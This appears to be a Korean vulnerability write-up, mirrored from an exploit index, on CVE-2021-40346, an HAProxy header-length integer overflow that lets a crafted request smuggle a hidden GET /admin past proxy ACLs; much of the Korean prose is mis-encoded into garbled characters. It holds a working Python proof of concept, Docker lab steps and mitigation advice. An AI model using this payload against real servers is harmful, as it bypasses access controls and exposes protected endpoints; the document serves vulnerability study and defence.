Share
## https://sploitus.com/exploit?id=C6651C75-45C4-5A75-9E0F-77CB87257507
# CVE-2021-40346 โ HAProxy Integer Overflow leading to HTTP Request Smuggling
## ์ทจ์ฝ์ ์์ฝ
- HAProxy๋ ์คํ์์ค ๊ธฐ๋ฐ ๋ฆฌ๋ฒ์ค ํ๋ก์ ๊ฒธ ๋ก๋ ๋ฐธ๋ฐ์๋ก, ๋ถํ ๋ถ์ฐ ๋ฐ ACL(์ ๊ทผ ์ ์ด ๊ท์น) ์ฒ๋ฆฌ ๋ฑ์ ๋ด๋นํ๋ ์ํํธ์จ์ด์
- CVE-2021-40346์ HAProxy๊ฐ HTTP ํค๋๋ฅผ ๋ด๋ถ HTX ํฌ๋งท์ผ๋ก ์ ์ฅํ๋ `htx_add_header()` ํจ์์์ ํค๋ ์ด๋ฆ(Header Name)์ ๊ธธ์ด๋ฅผ ๊ฒ์ฆํ์ง ์๋ ๊ณผ์ ์์ ๋ฐ์ํ๋ ์ ๊ทผ ์ ์ด ์ฐํ(ACL Bypass) ์ทจ์ฝ์
- ์ด ์ทจ์ฝ์ ์ HTTP ์์ฒญ ๋ด ํค๋ ์ด๋ฆ์ ๊ธธ์ด๋ฅผ ํน์ ์กฐ๊ฑด์ ๋ง๊ฒ ๋๋ฆฌ๋ ๊ฒ ๋ง์ผ๋ก ๋ฐฑ์๋์์ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ์์ฒญ์ ์คํ์ํฌ ์ ์๋ค๋ ์ ์์, ์กฐ์ ๋ฐฉ์์ ๋จ์ํ๋ ๊ทธ ํ๊ธ๋ ฅ์ ๊ฐ๋ ฅํ ์ทจ์ฝ์ ์ผ๋ก ํ๊ฐ๋จ
- ์ฐธ๊ณ ์๋ฃ: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/
## ์ทจ์ฝ ์กฐ๊ฑด
- **์ํฅ ๋ฒ์ **: HAProxy 2.0 ์ด์ ~ 2.5(dev6 ํฌํจ) ์ดํ
- **ACL ์ค์ **: ํ๋ก ํธ์๋์ `http-request` ๊ธฐ๋ฐ์ ๊ฒฝ๋ก ์ ๊ทผ ์ ์ด ๊ท์น (์: `path_beg /admin`)์ด ์ค์ ๋์ด ์์ ๊ฒ โ ์ด ๊ท์น์ด ์ฐํ ๋์์ด ๋จ
## ๋ถ์
HAProxy๋ HTTP ํค๋๋ฅผ ๋ด๋ถ HTX ํฌ๋งท์ผ๋ก ์ ์ฅํ ๋, ํค๋ ์ด๋ฆ ๊ธธ์ด๋ฅผ
8๋นํธ(์ต๋ 255) ํ๋์ ๊ธฐ๋กํ๋ค. `htx_add_header()` ํจ์์๋ ์ด ๊ธธ์ด๋ฅผ
๊ฒ์ฆํ๋ ๋ก์ง์ด ๋๋ฝ๋์ด ์์ด, 256๋ฐ์ดํธ ์ด์์ ์ด๋ฆ์ ๋ณด๋ด๋ฉด ์ ์
์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๊ณ ๋์น ๋นํธ๊ฐ ์ธ์ ํ ๊ฐ ๊ธธ์ด ํ๋๋ก ํ๋ฌ ๋ค์ด๊ฐ๋ค.
ํค๋ ์ด๋ฆ์ ์ ํํ 270๋ฐ์ดํธ๋ก ๋ง๋ค๋ฉด(`270 mod 256 = 14`), HAProxy๋
์ด๋ฅผ `"Content-Length"`(14๊ธ์)๋ก ์ฐฉ๊ฐํ๊ณ , ์ค๋ฒํ๋ก์ฐ๋ก ์ค์ผ๋ 1๋ฐ์ดํธ๋ฅผ
๊ฐ์ผ๋ก ์ฝ๋๋ค. ์ด ์๋ฆฌ์ `"0"`์ ๋ฐฐ์นํ๋ฉด **์์กฐ๋
`Content-Length: 0` ํค๋**๊ฐ ๋ง๋ค์ด์ง๋ค.
์ด ์์กฐ ํค๋ ๋ค์ ์ง์ง `Content-Length` ํค๋๋ฅผ ์ด์ด ๋ณด๋ด๋ฉด, HAProxy๋
์ค๋ณต ํค๋ ์ค ๋จผ์ ์จ ๊ฒ(์์กฐ๋ 0)์ ์ฑํํ๊ณ ์ง์ง ๊ฐ์ ํ๊ธฐํ๋ค. ์ด๋
ํด๋ผ์ด์ธํธ๋ก๋ถํฐ ์ค์ ๋ณธ๋ฌธ์ ์ฝ์ด๋ค์ด๋ ๊ณผ์ ์ ์๋ณธ ํ
์คํธ๋ฅผ ๊ธฐ์ค์ผ๋ก
์ ํํ ๋์ํ์ง๋ง, ๋ฐฑ์๋๋ก ์ ๋ฌ๋๋ ํค๋์๋ ์์กฐ๋ ๊ฐ(0)์ด ๊ธฐ๋ก๋์ด
**"์ค์ ์์ ํ ๋ณธ๋ฌธ ํฌ๊ธฐ"์ "๋ฐฑ์๋์ ํต๋ณด๋ ํฌ๊ธฐ"๊ฐ ๋ถ์ผ์น**ํ๊ฒ ๋๋ค.
๋ฐฑ์๋๋ ํต๋ณด๋ฐ์ ๊ฐ(0)์ ๋ฏฟ๊ณ ํด๋น ์์ฒญ์ด ๋๋ฌ๋ค๊ณ ํ๋จํ ๋ค, ์๋
๋ณธ๋ฌธ์ด์๋ ๋ฐ์ดํฐ๋ฅผ ์์ ํ ์๋ก์ด ์์ฒญ์ผ๋ก ์ฌํด์ํ๋ค. HAProxy์ ACL์
์ด๋ณด๋ค ์์ ์ต์ด ์์ฒญ์ค์ ๋ํด์๋ง ๊ฒ์ฌ๋๋ฏ๋ก, ์จ๊ฒจ์ง ๋ ๋ฒ์งธ ์์ฒญ์
๊ฒ์ฌ ๋์์ ํฌํจ๋์ง ๋ชปํ ์ฑ ๋ฐฑ์๋์ ๋๋ฌํ๋ค. ๊ทธ ๊ฒฐ๊ณผ ์ค์ ๋ ๋ชจ๋
`http-request` ACL์ด ์ฐํ๋๋ค.
## ํ๊ฒฝ ๊ตฌ์ฑ ๋ฐ ์ฌํ ์ ์ฐจ
- `docker compose up --build -d` ๋ฅผ ์คํํ์ฌ ์ทจ์ฝํ ํ
์คํธ ํ๊ฒฝ ์คํ (haproxy ver.2.2.16 / backend: gunicorn)
- ์๋ ์ฝ๋๋ฅผ ํตํด HAProxy์ ๋ฐฑ์๋ ์๋ฒ ํ์ฑํ ํ
์คํธ
```bash
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "์ค๋น ์๋ฃ"
```
- `python3 poc.py --host 127.0.0.1 --port 8080` poc ์ฝ๋ ์คํ
- `docker logs cve-2021-40346-backend --tail 5` ๋ฐฑ์๋ ์ ์ ๋ก๊ทธ๋ฅผ ํตํด `/admin` ์์ฒญ์ด ์ค์ ๋ก ์ฒ๋ฆฌ๋์๋์ง ํ์ธ
## PoC ์ฝ๋
```python
import socket
HOST = "127.0.0.1"
PORT = 8080
# ์ด๋ฆ์ 270๋ฐ์ดํธ๋ก ๋ง๋ค๋ฉด 8๋นํธ ์ด๋ฆ ๊ธธ์ด ํ๋๊ฐ ์ค๋ฒํ๋ก์ฐ๋์ด
# HAProxy๊ฐ ์ด๊ฑธ "Content-Length: 0" ํค๋๋ก ์ฐฉ๊ฐํ๋ค.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
```
## ์คํ ๊ฒฐ๊ณผ

## ๋์ ๋ฐฉ์
- **๋ฒ์ ์
๊ทธ๋ ์ด๋**: 2.0.25 / 2.2.17 / 2.3.14 / 2.4.4 ์ด์์ผ๋ก ์ฆ์ ์
๋ฐ์ดํธ
(`htx_add_header()`์ ์ด๋ฆ/๊ฐ ๊ธธ์ด ๊ฒ์ฆ ๋ก์ง ์ถ๊ฐ๋ก ๊ทผ๋ณธ ํด๊ฒฐ๋จ)
- **์ฌ์ธต ๋ฐฉ์ด**: ํ๋ก์ ACL์๋ง ์์กดํ์ง ์๊ณ , ๋ฐฑ์๋ ์ ํ๋ฆฌ์ผ์ด์
์์ฒด์๋ ์ธ์ฆ/์ธ๊ฐ ๋ก์ง์ ์ด์ค์ผ๋ก ๊ตฌํ